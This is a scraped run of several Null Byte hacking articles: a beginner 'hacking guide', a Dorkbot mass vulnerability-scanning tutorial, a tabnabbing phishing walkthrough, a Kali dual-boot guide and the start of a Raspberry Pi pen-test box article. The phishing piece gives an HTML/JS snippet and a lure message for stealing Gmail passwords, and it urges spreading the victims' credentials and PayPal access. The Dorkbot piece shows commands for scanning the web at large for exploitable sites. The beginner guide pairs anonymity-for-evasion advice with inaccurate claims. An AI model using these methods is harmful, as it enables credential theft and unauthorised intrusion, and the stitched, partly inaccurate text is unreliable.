To:Enumerate MySQL Databases with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Hack websites with SQL injectionHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1SQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Use SQL Injection to Run OS Commands & Get a ShellSQL Injection 101:How to Avoid Detection & Bypass DefensesHow to Hack Databases:Extracting Data from Online Databases Using SqlmapNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Get everything you need to start teaching yourself MySQLHow To:SQL Injection Finding Vulnerable Websites..Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Goodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHack Logs and Linux Commands:What's Going On Here?How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:PostgreSQL Quick StartHow To:Protect Your PHP Website from SQL Injection HacksGoogle Dorking:AmIDoinItRite?How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Use Perl to Connect to a DatabaseHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow Null Byte Injections Work:A History of Our Namesake |
ALL-in-ONE HACKING GUIDE « Null Byte :: WonderHowTo | Hello and welcome to my article. I have made this article for anyone who wants to become a hacker, and wants to know how to get started.OVERVIEW:As you'll get further into the hacking community, and learn more about how it's all put together, you'll also realize very quickly that there's is no step-by-step tutorial. No book on how to this and that. Hacking is knowledge, skill and persistence. You need to know a lot of things at the same time. You have to practice all your techniques and keep up with your knowledge so you not only will remember what you know, but also learn more. So this is just a quick intro to the guide, I could go on about what else you need to know but let's move on.HOW to GET STARTED:As I explained above, I can't link you a YouTube video or a PDF file with the tutorial on how to hack a Facebook account. Or how to DDoS your friend and so on. What I can give you is some guidance on where to look in order to gain your knowledge.First things first, you HAVE to READ A LOT OF ARTICLES. (Notice it's in caps). Because it is crucial. Reading articles DAILY on everything related to hacking and computers in general, will let you on the path to become a good hacker very fast. Unlike all those newbie hackers asking several questions on hacking forums on "how do I hack?" "Where can I find hacking programs?" and many more stupid questions. So just read, try it out, and combine it with your own knowledge.TYPES of HACKERS:Yes, there are "types" of hackers. According to white-hat hackers, the term "hackers" is often misunderstood in the community. People think hackers are the ones who take down big companies, hack into systems, DDoSing, installing malware on your computer. When in reality, all these are crackers. Crackers are the ones who actually hack into things with evil intentions. So there are 3 types of hackers.White-hat hackers: They are the "good guys". They get permission from a company to hack into their system and look for loopholes that black-hat hackers can use to their advantage. They create free software to help others out, and they usually have the good intentions with hacking.Grey-hat hackers: They are basically a mixture of black-hat and white-hat. They can help you out, but probably for illegal reasons, or for money or similar. Their intentions are often a mixture. They can hack into systems without permission (illegal) and then tell the owner of the company what is wrong with their system. So they're a mix pretty much.Black-hat hackers: Stay away from black-hat. They have no sympathy whatsoever. They are willing to do the worst things with hacking. Hack governments and leak sensitive information. Hack into systems and create a backdoor so they can access it at all times. Their intentions are always for evil purposes. So be aware for these types of hackers. Because you won't see them coming.REQUIREMENTS to BECOME a HACKER:Yup. There are requirements. First thing first. You need reasonable good computer to hack. At least i5 processor, 8GB RAM. A LOT of HDD.Then you need to know a lot about computers and how they work will always be a benefit. As long as you know a little about PC's its fine.Then remember to become a hacker, you need to be smart. Would you download a file from an untrusted website on your dad's computer? No, then don't do it on your hacking computer. Know how to protect yourself from malicious programs in general. You need to have a lot of time, put in effort, and have PATIENCE. YOU DON'T BECOME A HACKER OVERNIGHT!It is a MUST to learn at least 1-2 programming language. Make sure you pick the right one suited for you. If you don't know how to program, you won't understand how certain programs and hacking methods work etc. Programming will give you an understanding, and the ability to create YOUR OWN software AND give you the "power" to become a better hacker. You can write your own exploits (Ruby), write your own scripts and so on.DOWNLOADING:I want to point this topic out again because it is so dangerous. If you accidentally download malicious malware or have no clue that a hacker successfully planted a RAT or a keylogger on your computer, you are screwed. Know what you are downloading. Make sure there is HTTPS in the URL. The "S" means the website is encrypted. DON'T download from untrusted sources. And there is NO such thing as a "hacker pack" or anything like that. If someone tries to sell or just give you a "hacker pack", DON'T download it. There is most likely a Trojan or a virus in it.DO's and DON'T's:DON'T be that newbie guy on hacking forums that asks stupid questions. Don't download possible malware. Learn some programming language. Make sure you are ANONYMOUS. The most powerful tool a hacker can have, is his anonymity. It gives him the ability to hack people or companies without them seeing you coming.Know the consequences of what you are doing. Know the consequences of a successful attack, and a failed one. UNDERSTAND what you are doing, otherwise you can't develop your methods and techniques, and you can't add knowledge to your brain.ANONYMITY:Now to my favorite section. Anonymity is the most important thing as a hacker. If you don't have this 100% in place, you will then get a new room called a jail cell. And you most likely won't get out depending on what you did.There are a lot of ways to stay hidden on the Internet. Which also makes it a tad difficult because it will then be easier to make ONE mistake. Use TOR. TOR is an anonymous web browser that gives you an IP address and lets you surf the web anonymously. Tor was used by the military until hackers got their hands on it. DON'T access your emails or any real identity stuff through TOR. The purpose of using this browser is to stay anonymous, so why access your real identity through it? TOR is not SUPER SAFE. It doesn't provide end-to-end encryption, which means anyone with the know how to perform a man in the middle attack, can see what data is being transferred, which puts you in danger. He can't see where it's coming from or where it's going though. But still, he has a possibility to find out with enough knowledge.I2P is safer than TOR. It provides end-to-end encryption and its security basically was developed from where TOR left off. Tails lets you surf the internet COMPLETELY anonymously. It leaves no trails on your computer, and it uses TOR to access the internet. Create an anonymous email and use STRONG passwords. And ALWAYS keep backup files of your stuff, just in case.Buying things with your anonymous ID is fine, as long as you do it ANONYMOUSLY. To do this, Bitcoin is your friend. But is quite complicated, because to purchase bitcoins you need to do it anonymously, and NOT with your real credit card obviously. I won't cover this part of how to purchase stuff anonymously.VPN & PROXIESA VPN is a Virtual Private Network. It creates a tunnel from your computer to the internet, and lets you surf the internet anonymously. The tunnel is encrypted so it's safe for any intruders. Use VPN as it is up to date and is the most used way to stay hidden. A proxy is a server that is its own tunnel sort of speak. It is very similar to a VPN but proxies are out of date now, and I doubt you will find any useful and working proxy server today. If you do, it most likely won't provide encryption and isn't safe to use. So use a VPN.LINKS and USEFUL SOURCES:Because I am generous today, and want you to become a good hacker as fast as possible, I will provide you some good links that you can use to get started. Trust me, it will safe you A LOT of re-search, so take them to use!Hackforums.net (Forum to read and ask questions)Evilzone.org (Forum to read and ask questions)Khanacademy.org (A coding academy)Codeacademy.com (selfexplanatory)CSOOnline.com (Hacking news)Filehippo.com (Good download site)Snapfiles.com (Good download site)Wonderhowto.com (BEST place to learn and provide your knowledge)SOME EXPRESSIONS:DDoS means Distributed Denial of Service Attack.You send a ton of packets to a server until it can't process all those packets, leaving it no choice but to crash, or at least slow down A LOT.A RAT means; Remote Administration Tool OR Remote Administration Trojan. A RAT is very powerful for a hacker, and super vulnerable to the victim. A RAT can give the hacker so many possibilities to hurt the victim. Such as; Screenshot capture, monitor keystrokes, download/modify/delete files, record with webcam, send pop-up messages, kill the task manager, download virus and malware without the user knowing, and so much more.A Keylogger is a little bit similar to a RAT. Only it doesn't provide many options, it can only monitor every single keystroke and send it to the email that the hacker told it to. And then the hacker can access the victim's personal accounts and possibly steal his/her identity.You can learn a lot more expressions by keep reading about hacking.PROGRAMMING LANGUAGES:To give you an overview of some programming languages here below, I have listed a brief description of what they are, and can do.SQL is Structured Query Language and is used to modify databases. If you want to learn how to pull valuable information from databases, then learn SQL.Ruby is an exploitation language, and is the go-to language if you want to write your own exploits. It is very useful, so don't hesitate.HTML is Hyper Text Markup Language and is a web application language. Anything web related HTML is where you should start. It is also used for Phishing attacks.PERL is the best text manipulation language. You can implement it in several programming languages, and is definitely useful.Python is close to a must language to learn as a lot of hacking scripts are scripted in python. And even just learning the basics can benefit you so much.C/C++ is probably the most advanced language to learn. It's hardcore and you shouldn't start out with this as it is NOT for beginners. Open up your control panel and you see all those programs that has "C++" next to it? Exactly, that's what they are coded in, and if you delete those programs, say goodbye to your computer.Java another web application language which is useful to learn if you are in that area of hacking or just programming in general. I2P is scripted in Java so to run I2P you need Java installed.PHP is also quite useful for web applications as it can be implemented in web languages. I'm not quite sure what it does but you can read an article on it.To SUM IT UP:Remember, hacking is skill, knowledge, and persistence. No tutorial on it. You need to know a ton of shit at the same time. Stay anonymous and don't get in jail. Hackers are supposed to help each other, so share your knowledge as it will benefit you both. Don't need to tell each other exactly how you do this and that, but an overview is fine.Before you start this "journey", sit down and ask yourself, "What do I want to accomplish as a hacker?" decide what direction you want to go in. Set some ground rules for yourself, and possibly your partner if you have one, and work as a team. Remember that everything you need to know is ON THE INTERNET. Not in some silly article on a hack forum. (Unless you're lucky and find your answer). But to find your answer, use GOOGLE as it is a very popular search engine, and gets millions of search query's daily, and is a fantastic source to find information. Anything you need to know is on the internet. And your keyboard is your tool to achieve that mission.I spent a lot of time making this article, so feel free to ask questions if you need to, and remember to stay anonymous, and knowledge is power. Google is your key to your information.COREGUYWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:Never Need Another Charger with This All-in-One Power BankHow To:Get a Jump Start into Cybersecurity with This BundleHow To:Add Filters to Individual Video Clips or Your Whole Entire Project in iMovie for iPhoneHow To:Add Fade Ins & Fade Outs to Videos in Adobe Premiere ClipHow To:Learn the Most Used Coding Languages for $30How To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeHow To:Tie a scarf hacking knotHow To:Make Excel Work for You with This Training BundleHow To:Prep Oats Overnight for Easy Grab-&-Go Breakfasts All WeekHow To:Create a lightning bolt effect using After Effects and the Trapcode SuiteHow To:Use variables and strings when programming in Python 2How To:Use export plug-ins in ApertureHow To:Add Fade-Ins, Fade-Outs & Fade-Through Transitions to iMovie Projects on Your iPhoneHow To:Create a space environment within Adobe After EffectsHow To:Master the Adobe Creative Suite for $33How To:Master Excel with This Certification BundleHow To:Optimize Your Management Skills with Six Sigma's Proven MethodsHow To:Create an ocean scene in After Effects CS5 without third-party plug-insHow To:Add Crossfade Transitions Between Video Clips in Adobe Premiere ClipHow To:Enjoy all the features of Google plusHow To:Prevent "Friend Check-Ins" when using FacebookHow To:The Deliciously Lazy Way to Make Creamy Risotto at HomeHow To:Install plug-ins on a Joomla websiteDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:No-Bake Energy Bites Are the Perfect On-the-Go Snack for SummerOutlook 101:How to Connect Third-Party Apps to Your CalendarHow To:Decide between WAN and LAN when setting up a networkHow To:Fade in and out in Pro ToolsHow To:Just Got a New Android Phone? Here's All the Apps & Info You Need to Get StartedHow To:These Are the Two Best (But Bizarre) Secret Chili Add-Ins to Spice Up Your LifeLockdown:The InfoSecurity Guide to Securing Your Computer, Part IIHow To:Cheat Engine for FarmVille - The Definitive GuideNews:Day 2 Of Our New WorldNews:An Introduction to Macro Photography (Plus Some Insane Shots)How To:Use Ettercap plug-ins for penetration, or pen, testingHow To:Practice long throw ins like Rory ChallinorHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)TVs Are for Old People:A Guide to Handheld ConsolesHow To:*****M2 Territory guide links****** |
How to Use Dorkbot for Automated Vulnerability Discovery « Null Byte :: WonderHowTo | If you need to scan a large number of domains for a specific web app vulnerability, Dorkbot may be the tool for you. Dorkbot uses search engines to locate dorks and then scan potentially vulnerable apps with a scanner module.This tool is useful if you're managing a large number of hosts and aren't sure what may be vulnerable and what may not. It's also useful if you're a black hat looking to compromise as many machines as possible in a short time, not that we condone any black hattery here.Before we get started, I'd like to explain the concept of a dork a little bit further. Dorks are a way of using search engines to locate vulnerable web apps. If you're thinking "that's just Google hacking," you're correct. They are essentially the same thing, though Google hacking generally has fewer negative connotations.Essentially, when we use dorks, the goal is to search out a vulnerable application and either note it or attempt to exploit it. The internet is a big place, and if an attacker's goal is simply to amass a collection of vulnerable machines, Google dorks are the first place to start.Don't Miss:How to Hack Google DorksThis style of mass-vulnerability scanning is advantageous for a few reasons: Finding targets is easy, and the search engine does the work for you. Exploiting the targets is also easy. If you've done some research, you know exactly what vulnerability you are looking to exploit. This means you have the exploit code and you've tested it.This makes the entire attack on the vulnerable host much easier. Rather than encountering a host and going through the entire methodology of an attacking something unknown, the vulnerable hosts, in this case, come to you.With that covered, let's get started discovering with Dorkbot.Step 1: Install Dorkbot on KaliFor this tutorial, I will be usingKali Linux, logged in as the root user. Before we get started, we should probably update our system. Runaptin your terminal emulator to do so with the following commands.apt update && apt upgradeOnce that command completes, we can start installing Dorkbot. The first thing to do is pull the repository off of GitHub, usinggitin your favorite terminal emulator.git clonehttps://github.com/utiso/dorkbot; cd dorkbotNext, you will need to download and install dependencies. The first of these isPhantomJS. We will download and extract it into the dorkbot/tools directory, and then rename the extracted folder to "phantomjs" with the following commands.wgethttps://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2tar vxjf phantomjs-2.1.1-linux-x86_64.tar.bz2mv phantomjs-2.1.1-linux-x86_64 phantomjsrm phantomjs-2.1.1-linux-x86_64.tar.bz2The URL in thewgetcommand may change as PhantomJS is updated, you can always check the PhantomJS site for the most recent URL. Thetarcommand extracts the PhantomJS archive, then we rename the directory with the "mv" command so that Dorkbot can find the tool. Lastly, we remove the archive.The next dependency that needs to be resolved is our scanner module. Dorkbot works with two different scanner modules,ArachniandWapiti. You will need to select one of these to use as your scanner. After testing with Wapiti, I found that it threw errors, so I settled on Arachni. To install it, run the following in a terminal window.wgethttps://github.com/Arachni/arachni/releases/download/v1.5.1/arachni-1.5.1-0.5.12-linux-x86_64.tar.gztar xzf arachni-1.5.1-0.5.12-linux-x86_64.tar.gzmv arachni-1.5.1-0.5.12rm arachni-1.5.1-0.5.12-linux-x86_64.tar.gzIn the next portion of this setup, we need to create a Googlecustom search engine. Dorkbot uses the custom search engine to locate potentially vulnerable web applications.Don't Miss:How to Find Vulnerable Targets Using Shodan — The World's Most Dangerous Search EngineYou will need a Google account for this step. To get started, click on the "Sign in to Custom Search Engine" button. You will be prompted to enter your credentials.In order to get be able to search the entire web, we're going to have to do a bit of additional configuration on this custom search engine. First, we enter "example.com" in theSites to searchfield. Then, we click the "Create" button to continue.We're not done yet! This engine will only search within example.com, which isn't very useful to us. We need to change the engine to search the entire web.Select the "Edit search engine" drop-down menu, and choose your custom search engine. Scroll down the page to the "Search only included sites" menu. Change the setting to "Search the entire web but emphasize included sites." Then, check your included site and delete it.Lastly, we need to get the search engine ID, which we will be passing to Dorkbot. This can be found by clicking the "Search Engine ID" button.The last step is installing Python date-util withpip. Do so by running the following in terminal.pip install python-dateutilIn my case, this package was already installed.Now that we have the tool configured and installed, it's time to get down to using it.Step 2: Run Dorkbot to Find Vulnerable SitesDorkbot has two distinct components: the indexer and the scanner. The indexer will search for dorks and store its findings. The scanner will follow up on those dorks and try to confirm the presence of vulnerabilities. Our first step is to scan for vulnerable sites. We'll do this by running the following in our terminal window../dorkbot.py -i google -o engine=yourGoogleCSEHere,query="filetype:php inurl:id"This will use your custom Google search engine to locate sites with PHP files and a URL containing "id."Don't Miss:How to Nab Free Ebooks Using Google DorksThis will not pass any results to the automated scanner. The-iargument tells Dorkbot to use Google as its indexer, and the-o engine=is passing indexer options, telling Dorkbot to use our custom search engine. Thequery=is the query to pass to Google.We can use Dorkbot with the-largument to list these later. So far, everything we've done has been completely acceptable. We're essentially just Google searching. We get into much trickier territory if we start using the scanner module to look for vulnerabilities. Let's try that by typing the following../dorkbot.py -i google -o engine=yourCseKeyHere,query="filetype:php inurl:id" -s arachniExecuting this command would pass the sites to Arachni for further processing. Depending on where you reside, executing this may be illegal. Even if it is legal, I wouldn't recommend it. Your ISP may receive an email about abuse of services, leading to a nasty phone call or potentially being dropped as a customer.Fortunately, you can configure your Google custom search engine to search specifically within a single site that you own or have been given permission to scan. I'm going to go back and reconfigure my custom search engine to only search webscantest.com.Don't Miss:How to Find Almost Every Known Vulnerability & Exploit Out ThereSince Dorkbot maintains a database of returned dorks, you will need to delete this database to prevent Dorkbot from scanning hosts already in the database. We'll do so by typing these commands in terminal.rm /path/to/dorkbot/databases/dorkbot.db./dorkbot.py -i google -o engine=yourGoogleCseHere,query="filetype:php" -s arachniStep 3: Finding Vulnerable HostsAn attacker wishing to compromise the largest amount of systems possible in a short amount of time needs to cast a wide net. Dorkbot is designed to handle this, but how would you find vulnerabilities to target?I recommend theExploit-DBfor this. There's an entire section dedicated toweb applications. For example, you could use a recently-discovered exploit in EasyBlog as your search query.Image viaEasy Blog PHP Script v1.3aOur previous searches would include this app and many more. You will have to hone your skills with Google in order to narrow down the number of false positives. If you Google for Google dorks, you will find many more queries that you can use.Dorks Are Useful for Mass-ScanningIf your goal is to mass-scan for vulnerabilities, Dorkbot is a solid tool worth exploring. With a bit of work on the user's part, it would be possible to almost completely automate the locating, scanning, and attacking of a particular vulnerable service. Spending some time finding semi-recent vulnerabilities and honing in on sites running specific software that is known to be exploitable could lead to many compromised machines.Don't Miss:How to Find Exploits Using the Exploit Database in KaliIn this article, I demonstrated the configuration of a Google custom search to access the entire web. While you can do this, I wouldn't recommend it. Instead, use the custom search to scan and target domains within your control to stay legal. While working with Dorkbot, remember that it's fine to search, but connecting can be an issue.Thanks for reading! You can leave any comments here or on Twitter@0xBarrow.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Barrow/Null ByteRelatedHow To:Hack a network with Nessus 3How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingNews:Intel Confirmed Critical Escalation of Privilege Vulnerability — Now What?Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Audit Web Applications & Servers with TishnaAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Hack the Shellshock VulnerabilitySubterfuge:MITM Automated Suite That Looks Just Lame.News:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesIPsec Tools of the Trade:Don't Bring a Knife to a GunfightForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsShark Survival:Guide to Getting Out AliveNews:John Lilly by Laurie AndersonNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreNews:Someone Created an Automated Pooping Butt in MinecraftNews:Minecraft World's Weekly Workshop: Reverse Engineering Minecraft Cake DefenseNews:New Variant of Zeus Trojan Loses Reliance On C&C ServerNews:Greece - The Samos islandNews:Bugzilla Cross Site Request ForgeryNews:Lots of WordPress plugin vulnerabilitiesMega Man:Frustrations!News:TSA Brags About Confiscating Can Of Chicken SoupImportant Astronomers:Galileo GalileiNews:Minecraft World's Weekly Workshop: Creating an Automatic Animal HarvesterNews:NASA Kicks Off 2012 with Ambitious New Moon MissionHow To:Download and Install Minecraft 1.9 Version 3 Pre-ReleaseNews:Cultural DiscoveriesNews:Intel Core 2 Duo Remote Exec Exploit in JavaScript |
Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab Phishing « Null Byte :: WonderHowTo | A while back, I decided to sell my laptop on Craigslist. As many people know, when you post an item worth anything over the threshold of garbage, you get a million different shady emails from people pretending to be legitimate buyers.After a deluge of emails flooding my inbox, none were legitimate, which understandably irked me. After some contemplation, I devised a plan on how I could get back at these scammers using a bit ofsocial engineeringandphishing. I was out for revenge.WarningsPhishing is illegal in any shape or form. If you think you can justify to yourself that phishing a Nigerian scammer is okay, by all means, try it. However, take responsibility for whatever legal issues you could face. This is a proof of concept, nothing more.PrerequisitesA free cpanel hosting website or your own webserverThe domain of the email used by the scammer in question (i.e. Gmail, Hotmail, etc.)Pictures of the valuable item that lured scammersThe ConceptThe goal we are trying to accomplish here is to somehow trick scammers into logging onto a phishing site that we created, so we can take their password and wreak havoc on their digital scamming operation.A perfect place to start would be the common line that all scammers seem to use:"Hi, is the item still available and is it in working condition? Do you have pics?"We are going to exploit this by pretending to be a dim-witted idiot and act like we have fallen for the scammer.Step1Create the Tabnabbing Phishing PageTabnabbing phishing pages work by injecting JavaScript in a normal looking page, and then when the page lies idle, it switches to a phishing page without the user noticing, which would convince them that their session timed out, thus, granting us login credentials.Create2files. Name them:bgattack.jsandpictures.html.Create a phishing page by following thisNull Byte. You can apply the same concept to any website. For this guide, I'm using Gmail.Openpictures.htmlin a notepad and on seperate lines, add<img src="<image name here" />for as many images as you have of your item. You only need a few.Copy and paste the code below into the page as well. It will make the page switch when idle for 5 seconds. Paste the future link to your phishing page in between the quotes after the HREF tag.<DIV align="center"><A href=""><script type="text/javascript" src="bgattack.js"></script></A></DIV>Upload all of the pages to your webserver and get the link to the page with your pictures ready.Step2Social EngineerWhen you drop them the link, say something like this in response to their request to see the item:"Of course, it's still available. You can take a look at the item here to make sure it is what you want and that everything meets your expectations. Thanks so much!"This will make them think you have fallen for their trickery. But since they won't be focusing on the immutability of tabs, they will likley look at the pictures, then click back to the tab and reply to you. And what happens by the time they click back? It'll be our phishing page.This plays out very well 90% of the time, simply because people don't expect their tabs to change on them. After you get the scammer's password, pass it around the internet and hand out their Paypal account to a homeless fellow.Want more Null Byte?Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaactiverainRelatedHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:5 Must-Know Tips for Not Getting Scammed on Craigslist When Buying or SellingHow To:Use Social Engineering to Hack ComputersNews:Fake Keys Left a Woman Homeless & Out Hundreds—Even Though Her Craigslist Scammer Had a Change of HeartHack Like a Pro:The Ultimate Social Engineering HackHow To:Use "SET", the Social-Engineer ToolkitNews:eBay Vulnerability Allows Scammers to Attack Android & iOS with Malicious ProgramsNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)News:White House Hacked by Russian Hackers!How To:Social Engineering - Total GuideQuick Tip:Avoid Craigslist Scams with a Reverse Image SearchSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:Taliban vow revenge for U.S. soldier's shooting rampageHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersSocial Engineering, Part 1:Scoring a Free Cell PhoneNews:Live Social EngineeringHow To:Proof of Social Engineering Success!News:Cats & Dogs The Revenge of Kitty GaloreNews:500 Scrabble Tiles and Miranda July, Craigslist ResellerNews:The Best 6 Places to Buy Used Camera Equipment OnlineHow To:Score Free Game Product Keys with Social EngineeringNews:The Revenge of FrankensteinNews:J.D.'s RevengeNews:Revenge of the JediThe Job Board:A Doc About Burned DP'sHow To:Social Engineer Your Way Into an Amusement Park for FreeNews:Google social web engineer Joseph Smarr talks about lessons from Google+Social Engineering:The BasicsHow To:recognize Crowd Control - Part 1News:Delitos informaticos. Phishing, en 3 minutos.BrickLink:Your MEGA Resource For LEGO Parts |
How to Remove BackTrack & Install Kali as a Dual-Boot System Without Damaging Your Hard Drive « Null Byte :: WonderHowTo | Yesterday, I wanted to remove BackTrack from my system and install Kali, and at the same time didn't want to damage my Windows 7 or my hard drive. I searched a lot of articles, but almost all of them wanted me to have a backup Windows 7 CD, which I don't possess.So, I decided to follow some parts of some articles and figure out the rest by myself. I have done this in Windows 7, but I am pretty sure it will work in other Windows operating systems, too.Today, I will tell you all how to remove BackTrack and replace it with Kali without damaging your hard drive or Windows OS, and you probably won't require a Windows repair disk.Step 1: Back Up FilesI am sorry, but you have to back up all your files present in your BackTrack partition. You only have to back up the files present in your BackTrack partition (the space allocated to your BackTrack OS). You don't have to back up your Windows partition files and your additional hard drive files. You can copy your files to a USB, hard drive, etc.Step 2: Boot Up Your OSFirst of all, let me tell you that you will do everything in your Windows OS. After the BackTrack OS files have been backed up, you don't need to use BackTrack anymore.Step 3: Download KaliYou can download Kali from itsofficial website, or from any mirror website.Step 4: Install Kali to a USB DriveAfter you have downloaded the ISO file of Kali, you have to download UNetbootin (used for creating live OS and OS installers). You can download UNetbootin fromSourceForge.After you have downloaded UNetbootin, insert a USB/DVD and start UNetbootin. In the program, select diskimage, enter the location of your Kali ISO file, select your USB drive or DVD drive and select OK.Step 5: Empty BackTrack Partition & Delete BackTrackNow press the Windows+R button, which will open the Run window. In the Run window, typediskmgmt.msc, and press Enter. Then, in the middle pane, right-click on the partition of a disk that you want to delete, and click/tap on Delete Volume (see screenshot below).Now click on Yes to delete (see screenshot below).The selected partition should now be deleted and now unallocated space. If it's not, you'll have to delete the partition again until it displays as unallocated space (see screenshot below).Step 6: Install Kali to Your ComputerWhen you have completed Step 5, reboot your computer, and when you are in BIOS, press F2/F12 (or any other key in your case) which will make you go to boot options.In the boot options, move to your USB and press Enter. Then in the UNetbootin menu, click on Install, after which you will be guided to the Kali installation process. Select the options you think will meet your requirements the best.During the installation process, when you are asked where you want to put Kali, you can select the previous BackTrack partition (which will be a drive labeled with free/empty space). Now you should successfully install Kali without any problems , and without damaging your hard drive or Windows OS.Friends in the coming future, I will share hacks and information about Kali with you. Until then, adios.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHow To:Get Started with Kali Linux (2014 Version)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money)How To:Run Kali Linux as a Windows SubsystemHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Dual Boot Mac OS X 10.11 El Capitan & 10.10 YosemiteHow To:Remove a Windows Password with a Linux Live CDHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordNews:Virtualization Using KVMHow To:Bypass Windows and Linux PasswordsHow To:Run Windows from Inside LinuxNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Install Linux to a Thumb DriveHow To:Give Your GRand Unified Bootloader a Custom Theme |
How to Build a Portable Pen-Testing Pi Box « Null Byte :: WonderHowTo | Hello, Null Byte! Mkilic here. I doubt anyone knows I even exist on Null Byte, so hopefully this post will allow me to become more involved in the community and also help me learn even more.This project is somewhat similar to OTW's articlehere, and pry0cc'shere, in which both utilize the Raspberry Pi as a hacking tool. Both are great how-tos and are definitely better than mine. Nevertheless, I would like to go step by step through what I have created. Hopefully, you will learn some things, and hopefully, from your comments and discussions, I will as well.IntroductionIn my project, I will be making a Portable Pen-Testing Pi Box that costs around $100 or less. Essentially, the goal is to create an effective portable PC that can be inconspicuously used (remotely or physically) and even disposed of if necessary. This project relies heavily on the ultra small form factor of the Raspberry Pi. As expected, the Raspberry Pi can fit into almost anything. In our case we will be putting it into a rather unique lunchbox. So let's get started!Step 1: Gathering the MaterialsTo put together a sub $100 Pen-Testing PC, we need to find the best parts for the best price. In the below picture, we have all of the necessary electronics to make this work.I bought almost all parts from Amazon.Raspberry 